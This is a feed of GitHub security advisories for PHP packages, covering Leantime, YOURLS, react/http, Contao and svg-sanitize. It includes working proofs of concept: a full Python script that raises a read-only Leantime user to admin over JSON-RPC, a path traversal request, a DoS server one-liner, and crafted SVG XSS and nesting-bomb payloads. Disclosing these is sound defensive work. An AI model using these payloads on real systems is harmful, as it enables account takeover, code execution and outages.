GitHub Advisory Database RSS - composer - reviewed

Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods

Thu, 15 Oct 2026 20:14:43 GMT

Summary

Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.

Details

Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.

Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:

// app/Domain/Api/Services/Api.php
/**
 * @api
 */
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check
    ...
}

The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.

Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.

Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.

PoC

A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:

Create/authenticate as a readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. /plugins/myapps.

From that same low-privilege session, send:

POST /api/jsonrpc
Content-Type: application/json
X-Requested-With: XMLHttpRequest

{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
 "params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}

The server responds HTTP 200 with the newly created account's user/passwordClean and "role":40 (admin) in the JSON body.

Log in through the normal /auth/login form using the returned user/passwordClean. The resulting session now has full, interactive access to /plugins/myapps (HTTP 200) - the exact page that returned 403 in step 1.

Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.

Impact

Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.

Script : poc.py

#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
  2. Confirms the account is correctly blocked by the normal web UI from an
     admin-only page (expects HTTP 403) -- this establishes the account truly
     has no admin rights before the exploit runs.
  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
     nothing but that account's own ordinary session cookie, requesting
     role=40 (admin). No admin/API-key credential is used anywhere in this
     step -- only the low-privilege session established in step 1.
  4. Logs in through the completely ordinary web login form using the
     generated username/password from step 3, and confirms that account now
     has full, interactive admin access to the same admin-only page that
     blocked the original low-privilege account in step 2. (The record is
     created with source='' rather than source='api' -- createAPIKey() never
     sets that column -- so it does NOT work as an x-api-key credential, but
     it is a fully functional role=40 web login, which is a stronger and
     more direct proof of impact.)

Requirements: pip install requests

Usage:
  python3 poc.py --url http://localhost:5080 \\
      --username lowpriv@leantime.test --password 'LowPriv123!'
"""

import argparse
import sys

import requests


def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
    """Call a JSON-RPC method. Sends X-Requested-With so the session-based
    guard actually loads the caller's real, persisted session (see
    StartSession.php:65) -- without it, API requests get a fresh, empty,
    in-memory session and every call 401s regardless of login state."""
    headers = {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
    }
    if extra_headers:
        headers.update(extra_headers)

    resp = session.post(
        f"{base_url}/api/jsonrpc",
        json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
        headers=headers,
    )
    return resp


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
    parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
    parser.add_argument("--password", required=True, help="Password for that account")
    parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
    args = parser.parse_args()

    verify = not args.insecure
    base_url = args.url.rstrip("/")
    s = requests.Session()
    s.verify = verify

    print(f"[*] Target: {base_url}")

    # Step 1: log in as the low-privilege account via the ordinary web form.
    print(f"[*] Logging in as low-privilege account: {args.username}")
    s.get(f"{base_url}/auth/login")  # prime session cookie
    login_resp = s.post(
        f"{base_url}/auth/login",
        data={
            "username": args.username,
            "password": args.password,
            "redirectUrl": "/dashboard/home",  # avoid the unrelated empty-redirectUrl 500 bug
        },
        allow_redirects=False,
    )
    if login_resp.status_code not in (302, 303):
        print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
        sys.exit(1)
    print("[+] Login succeeded (session cookie established).")

    # Step 2: confirm the account genuinely has no admin rights via the web UI.
    check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if check_resp.status_code == 403:
        print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
    else:
        print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
              f"Continuing anyway, but this account may not be low-privilege as assumed.")

    # Step 3: the actual privilege escalation -- same session, no API key used.
    print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
          "using ONLY the low-privilege session from step 1 ...")
    esc_resp = rpc_call(
        s,
        base_url,
        "leantime.rpc.api.api.createApiKeyWithProjects",
        {"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
    )

    try:
        esc_json = esc_resp.json()
    except ValueError:
        print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
        sys.exit(1)

    if "error" in esc_json:
        print(f"[!] Exploit call failed: {esc_json['error']}")
        print("    (If this is 'Method is not available via API' or an AuthorizationException, "
              "the target may already be patched.)")
        sys.exit(1)

    result = esc_json["result"]
    new_user = result["user"]
    new_pass = result["passwordClean"]
    new_role = result["role"]
    new_id = result["id"]
    api_key = f"lt_{new_user}_{new_pass}"

    print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
          "with no permission check on the calling (low-privilege) account.")
    print(f"    New account id={new_id}  role={new_role} (40 == admin)")
    print(f"    Generated credentials -- username: {new_user}  password: {new_pass}")
    print(f"    (Nominal API key form: {api_key} -- see note below.)")

    # Step 4: prove the new account carries real, interactive admin privilege
    # by logging in through the ORDINARY web login form and hitting the same
    # admin-only page that blocked the original low-privilege account.
    print("[*] Logging in through the normal web UI with the generated credentials ...")
    admin_session = requests.Session()
    admin_session.verify = verify
    admin_session.get(f"{base_url}/auth/login")
    admin_login_resp = admin_session.post(
        f"{base_url}/auth/login",
        data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
        allow_redirects=False,
    )
    if admin_login_resp.status_code not in (302, 303):
        print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
        sys.exit(1)

    admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if admin_check_resp.status_code == 200:
        print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
              f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
              f"the exact page that returned 403 for the original account in step 2.")
    else:
        print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
              f"got {admin_check_resp.status_code}.")

if __name__ == "__main__":
    main()

Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.

References

YOURLS: Unauthenticated File Inclusion

Thu, 15 Oct 2026 20:13:02 GMT

Summary

YOURLS versions ≤1.10.4 contain an unauthenticated path traversal vulnerability that allows attackers to include and execute arbitrary PHP files on the server without any credentials.

Details

The vulnerability exists because YOURLS uses URL sanitization functions (yourls_sanitize_url(), yourls_esc_url()) to filter request paths, but these functions are designed to clean URLs, not filesystem paths. They preserve / and . characters, allowing ../ sequences to pass through unfiltered.

The unsanitized keyword is then directly concatenated into a filesystem path and passed to file_exists() and later include() operations, enabling path traversal attacks.

Data Flow:

HTTP Request URI (with ../)
    ↓
yourls_get_request() (no sanitization)
    ↓
yourls_sanitize_url() (preserves / and .)
    ↓
yourls_esc_url() (permits / and . via regex)
    ↓
Keyword extraction (preserves ../)
    ↓
file_exists(YOURLS_PAGEDIR . "/$keyword.php")  ← Sink
    ↓
include(YOURLS_PAGEDIR . "/$keyword.php")      ← Code Execution

Proof of Concept (POC)

In the concept validation, we assume that the attacker has uploaded a test.php file to the web root directory, but it cannot be accessed directly. (Of course, it could also be any path, such as /tmp/test.php)

Setup

Place a test file in web root:

./test.php:

<?php
phpinfo();
?>

Attack Request

GET /../../test HTTP/1.1
Host: target.com
Connection: close

Response (Apache Environment)

Impact

Remote execution of uploaded PHP files – An attacker uploads a malicious PHP file to an arbitrary location on the server (e.g., via another vulnerability or file upload feature), obtains its absolute path but cannot access it directly. The attacker then leverages this vulnerability to include and execute the PHP file, gaining code execution privileges.
Indirect triggering of PHP code injection – If a PHP code injection point exists on the system (e.g., log injection, session injection) but the injected file cannot be accessed directly due to configuration restrictions, the attacker can use this vulnerability to include and execute the injected code, achieving remote command execution or further compromise.

References

react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS

Thu, 15 Oct 2026 20:09:56 GMT

Summary

React\Http\Browser and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. ClientRequestStream::handleData() appends every incoming byte to an internal buffer and only scans that buffer for the \r\n\r\n (or \n\n) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's memory_limit is exhausted and the process crashes.

This is an unauthenticated, network-reachable denial of service against any application that uses react/http as a client to fetch untrusted or attacker-influenced URLs, including via redirects.

Details

ClientRequestStream::handleData() is bound directly to the underlying connection's data event, so every byte the peer sends is appended with no size check:

public function handleData($data)
{
    $this->buffer .= $data;

    // buffer until double CRLF (or double LF for compatibility with legacy servers)
    $eom = \strpos($this->buffer, "\r\n\r\n");
    $eomLegacy = \strpos($this->buffer, "\n\n");
    if ($eom !== false || $eomLegacy !== false) {

The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.

The codebase already applies this class of limit elsewhere, but not symmetrically. RequestHeaderParser caps incoming request headers when acting as a server, and Transaction::bufferResponse() caps the response body, but only once the header section has already been parsed into a Response. Response header reception was the one stage with no limit at all.

PoC

An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:

php -r '$s=stream_socket_server("tcp://127.0.0.1:18080"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, str_repeat("A",1048576)); usleep(10000); }'

A client fetching it, with memory_limit=64M:

$browser = new React\Http\Browser();
$browser->get("http://127.0.0.1:18080/")->then(
    function () { echo "ok\n"; },
    function ($e) { echo get_class($e) . ": " . $e->getMessage() . "\n"; }
);

Client memory grows steadily until the process dies with Allowed memory size ... exhausted inside ClientRequestStream::handleData().

Impact

Remotely triggerable, unauthenticated denial of service against any process using Browser to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.

References

Contao: Protected page content is disclosed to anonymous visitors after contao.search.index_protected is disabled

Fri, 09 Oct 2026 20:54:09 GMT

ModuleSearch decides whether to filter protected pages out of search results based on the current value of contao.search.index_protected, but the authorisation data lives per row in tl_search. Turning the setting off removes
the filter without removing the rows, so protected pages that were indexed while it was on are returned to unauthenticated visitors such as title, URL and context snippet, even though the pages themselves still answer 401.

Impact

Disclosure of member-only page titles, URLs and indexed text to unauthenticated visitors through the site search. The pages themselves remain access-controlled, so this is not a page-access bypass.

Credits

This security vulnerability was found by @iRevivalx .

References

Contao: The registration module re-sends activation mails

Fri, 09 Oct 2026 20:54:04 GMT

ModuleRegistration::compile() reaches its follow-up registration branch on any POST to a page carrying the module. That branch checks neither FORM_SUBMIT nor the captcha result computed immediately above it, and resendActivationMail() leads to OptInToken::send(), which has no rate limit at all.

Impact

Anyone on the internet can make a Contao installation send unlimited mail to an address of their choosing, from the site's own sender and reputation, at one outbound message per HTTP request. That is both a nuisance for the recipient and a deliverability risk for the site operator. The same request is a reliable account oracle for "this address has a pending registration on this site", which is exactly the sort of membership fact a public site is usually expected not to disclose.

Honest bound. The target must have an unconfirmed registration, that is tl_member.disable = 1 together with an unconfirmed reg- opt-in token. An attacker can create that state for an arbitrary address, since registration requires no ownership proof, but on a site where reg_activate is off the branch is unreachable.

References

Contao: Cross-site request forgery in custom backend actions

Fri, 09 Oct 2026 20:54:00 GMT

RequestTokenListener is the only generic REQUEST_TOKEN validator in Contao and it only runs on POST. On the GET side the guard is local and declarative, and it only fires when an act parameter is present. Every back end action dispatched through a different parameter therefore has no CSRF protection at all. This is a family rather than a single bug.

Impact

An attacker who gets a logged in back end user to load a URL performs back end actions as that user, with no token and no confirmation. Because the exposure follows from the dispatch mechanism rather than from one callback, every present and future key= action inherits it.

Honest bound. The victim must be authenticated in the back end and must load the URL, and the reachable actions are limited to the modules that user can access. We have not found a key= action that grants privileges; the ones we verified are destructive or state changing rather than escalating.

References

Contao: Path traversal in the images controller

Fri, 09 Oct 2026 20:53:55 GMT

ImagesController joins the user controlled {path} onto the configured image target directory with Path::join(), which canonicalises .. segments, and never calls Path::isBasePath() to confirm the result stayed inside that directory. An unauthenticated GET with percent encoded dot segments therefore escapes the directory and the file is returned by BinaryFileResponse. Reads are bounded to the extensions in contao.image.valid_extensions, and paths below the upload directory fail for an unrelated reason, so this is reported as a missing boundary check rather than as a general arbitrary file read. Both Apache with the shipped public/.htaccess and nginx with the documented configuration are affected.

Impact

Any unauthenticated visitor can read files that are deliberately kept outside the document root, anywhere under the project directory, as long as the name ends in one of contao.image.valid_extensions (jpg, jpeg, gif, png, tif, tiff, bmp, svg, svgz, webp). The route also acts as an existence oracle for arbitrary paths, and on a debug enabled instance the 404 message discloses the absolute filesystem path.

Honesty caveat, stated because it lowers the severity. The reporter could not use this to read protected member folders: every path below the upload directory returns 500 for the reason given under Details, so the practically reachable set is image typed files outside files/.

References

Contao: Cross-site scripting in the comments bundle

Fri, 09 Oct 2026 20:53:50 GMT

An unauthenticated front end visitor can post a comment containing a XSS injection. The victim is any back end user who opens the Comments module, and moderation makes exposure certain rather than preventing it. No Content-Security-Policy header is sent on the Contao back end, so nothing mitigates the inline handler.

Impact

Anyone on the internet can inject script that executes in the Contao back end origin, under the session of whichever user opens the Comments module, with no click and no hover. From there the payload acts as that user through the back end: reading any module they can reach, creating a new administrator, or editing a template, which on Contao is a documented path from back end write access to code execution. Moderation does not help and in fact guarantees exposure, since unpublished comments are still inserted and a moderator has to open the list to act on them.

References

Contao: Improper access control in the preview links module

Fri, 09 Oct 2026 20:53:46 GMT

core-bundle/config/services.yaml registers the preview access voter with the class Contao\CoreBundle\Security\Voter\DataContainer\PreviewAccessVoter, but the class shipped on disk is named PreviewVoter. Symfony resolves the class with getReflectionClass($class, false), gets null, silently skips the interface based autoconfiguration that would have tagged it as a voter, and the now untagged private service is removed when the container is compiled. The application boots without a warning, and the ownership rule in PreviewVoter::hasAccess() is never executed. tl_preview_link has no compensating SQL filter on createdBy, so any non administrator back end user whose group holds the preview_link module reads every preview link on the installation and lifts the already signed share URLs straight out of the list. Following one grants front end preview of the target page, with showUnpublished and with no page permission check, to anyone at all.

Impact

A non administrator back end user reads every preview link on the installation, including links created by administrators, and lifts the already signed share URLs out of the list. Following one grants front end preview of the target page with showUnpublished and with no page permission check at all, so unpublished or embargoed content becomes readable by a user who has no rights on those pages, and by anyone that user forwards the URL to.

Honesty caveat, stated because it bounds the severity. UpdateAction on a record owned by someone else was denied in our lab by DcaPermissionVoter, so we do not claim that a foreign preview link can be edited or deleted.

References

Contao: Improper access control in the table access voter

Fri, 09 Oct 2026 20:53:42 GMT

Due to a caching defect in the security voter that governs table-level access to Contao's Data Container (DCA) backend, a low-privileged, non-admin backend user can obtain unauthorized read, create, update, and delete access to database tables outside their assigned module permissions. This includes tables containing sensitive personal data, such as frontend member records and newsletter subscriber e-mail addresses.

Vulnerability Details

In plain terms: Contao's backend is organized into modules (e.g. "News", "Members"). Every backend user is assigned to a group, and that group decides which modules, and therefore which database tables, they are allowed to work with. Before Contao lets a user touch a table, it is supposed to check: "does this user's group actually include this table?"

To avoid doing that check over and over, Contao remembers the answer for the rest of the request. The problem is that it remembers the answer under the wrong label. Instead of remembering "is this user allowed to access table X", it only remembers "is this user allowed to access something", without recording which table the answer was actually about.

So if a request first checks a table the user IS allowed to see, and then checks a second, completely different table the user is NOT allowed to see, Contao reuses the first answer for the second table too. The user ends up with access to a table their group was never given permission for.

Technical detail

Contao's backend enforces per-table access control through a chain of Symfony security voters. The relevant one is
TableAccessVoter::hasAccessToModule(), in core-bundle/src/Security/Voter/DataContainer/TableAccessVoter.php:

    private array $canAccessTable = [];
    private array $canReadAccessTable = [];
 
    private function hasAccessToModule(TokenInterface $token, ...): bool
    {
        $tokenHash = hash('xxh128', serialize($token));
 
        if (isset($this->canAccessTable[$tokenHash]) || (...)) {
            return $this->canAccessTable[$tokenHash] ?? $this->canReadAccessTable[$tokenHash];
        }
 
        $table = $subject->getDataSource();
 
        foreach ($GLOBALS['BE_MOD'] as $modules) {
            ...
            return $this->canAccessTable[$tokenHash] = true;  // or false
        }
    }

The cache key, $tokenHash, is built only from the current user's security token. It does not include the table being checked. Because TableAccessVoter is a normal, shared Symfony service, this cache stays alive for the whole duration of one HTTP request. So the first table checked for a user in a request decides the cached answer for every other table checked afterwards in that same request, whether or not that answer is actually correct for the second table.

This is made worse by DefaultDataContainerVoter, a low-priority, permissive fallback voter that grants access to any table-related permission unless another voter explicitly denies it. When TableAccessVoter gives a wrong "no opinion" answer because of the stale cache, this fallback voter turns that into a full grant.

Most database tables in Contao have no second, table-specific check to catch this. Only tl_content, tl_favorites, tl_form, tl_form_field, tl_module, tl_image_size(_item), tl_job, tl_layout, tl_page, tl_preview_link, tl_undo, and tl_user have one. Tables such as tl_member (website member data), tl_newsletter_recipients (subscriber e-mail addresses), tl_news, tl_calendar_events, tl_faq, and tl_comments rely only on the defective check described above.

Credits

This security vulnerability was found by Sven Jäger of SySS GmbH.

References

enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision

Thu, 08 Oct 2026 19:41:15 GMT

Summary

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).

This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.

Affected installations:

enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
TYPO3, Drupal and 90+ other Packagist dependents

Vulnerability Details

Mechanism

Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
```
<!ENTITY Tab "#">
```
In XML, &Tab; expands to the literal string "#" (from the DTD definition).
In HTML5, &Tab; is a Named Character Reference that resolves to U+0009 (TAB character).

The SVG uses this entity in an href:

<a href="&Tab;javascript:alert(document.domain)">

During sanitization (XML context): &Tab; → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
Sanitizer output: saveXML() outputs the entity reference &Tab; (not the expanded value), and strips the DOCTYPE declaration.
In the browser (HTML5 context): Without the DOCTYPE, &Tab; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.

Root Cause (Sanitizer.php)

// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
    if ('#' === substr($value, 0, 1)) {
        return true;  // Fragment identifier — "safe"
    }
    // ...
}

// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts

Proof of Concept

Malicious SVG (xss.svg)

<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

Sanitizer processing

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;

Output:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
    <rect width="400" height="120" fill="#c00" rx="12"/>
    <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
</svg>

The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the &Tab; entity reference is preserved.

Browser exploitation

Embed the sanitized SVG inline in HTML:

<div class="svg-container">
  <!-- sanitized SVG output inserted here -->
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
    <a href="&Tab;javascript:alert(document.domain)">
      <rect width="400" height="120" fill="#c00" rx="12"/>
      <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
    </a>
  </svg>
</div>

Clicking the red rectangle executes alert(document.domain).

Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html

Exploitable Named Character References

Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:

&Tab; → U+0009 (Horizontal Tab)
&NewLine; → U+000A (Line Feed)

These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.

Impact

Stored XSS

Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
SVG passes sanitization — sanitizer reports no issues
When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking

Context requirement

The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:

WordPress themes that echo file_get_contents($svg_path) for inline SVG rendering
WordPress block editor SVG preview
Any web application rendering svg-sanitize output directly in HTML

Standalone <img src="...svg"> is NOT affected (browser uses XML parser, &Tab; without DOCTYPE = XML parse error).

CVSS

CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

With session stealing / admin takeover chain: effective severity High.

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Eliminates entity definitions entirely. No DTD entities = no collision.

Option 2: Validate href after serialization

$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)

Option 3: Expand entities before validation

Validate getAttribute() return value AND the serialized form:

$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme

Environment

enshrined/svg-sanitize 0.22.x
Chrome 148 (confirmed XSS execution)
PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)

Reported by ExPatch Security Research — expatch.llc
Denis Rostilov

References

svg-sanitizer: Mixed-case xlink:HrEf skips the `` nesting-DoS check in Resolver::processReferences

Thu, 08 Oct 2026 19:41:10 GMT

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
    $useElements = $this->xPath->query(
        $useNodeName . '[@href or @xlink:href]',
        $subject->getElement()
    );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
    && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
    $element->removeAttribute($attribute->nodeName);
    $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

<?php
spl_autoload_register(function ($class) {
    $p = 'enshrined\\svgSanitize\\';
    if (strpos($class, $p) !== 0) return;
    $rel = str_replace('\\', '/', substr($class, strlen($p)));
    $f = __DIR__ . '/svgsan/src/' . $rel . '.php';
    if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut  = str_replace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) {
    $s = new \enshrined\svgSanitize\Sanitizer();
    $s->removeRemoteReferences(true);
    $out = $s->sanitize($input);
    echo "[$label]\n";
    echo "  output <use  count : ", substr_count($out, '<use '), "\n";
    echo "  output xlink:href  : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
    echo "  output xlink:HrEf  : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);

Observed on PHP 8.5.9:

orig use count: 201
mutated input has xlink:HrEf: YES

[canonical xlink:href (control)]
  output <use  count : 0
  output xlink:href  : NO
  output xlink:HrEf  : NO
[mixed-case xlink:HrEf (attack)]
  output <use  count : 201
  output xlink:href  : YES
  output xlink:HrEf  : NO

201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.

Suggested fix

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

References

enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash

Thu, 08 Oct 2026 19:41:05 GMT

Summary

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.

Affected installations:

enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
WordPress Safe SVG plugin: 1M+ active installs
TYPO3: svg-sanitize integrated into core since v9
Drupal: community module wrapping svg-sanitize

Vulnerability Details

Trigger Flow

Sanitizer::sanitize($malicious_svg)
  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
  → startClean() → cleanAttributesOnWhitelist($svgElement)
    → "badhref" NOT in allowedAttrs
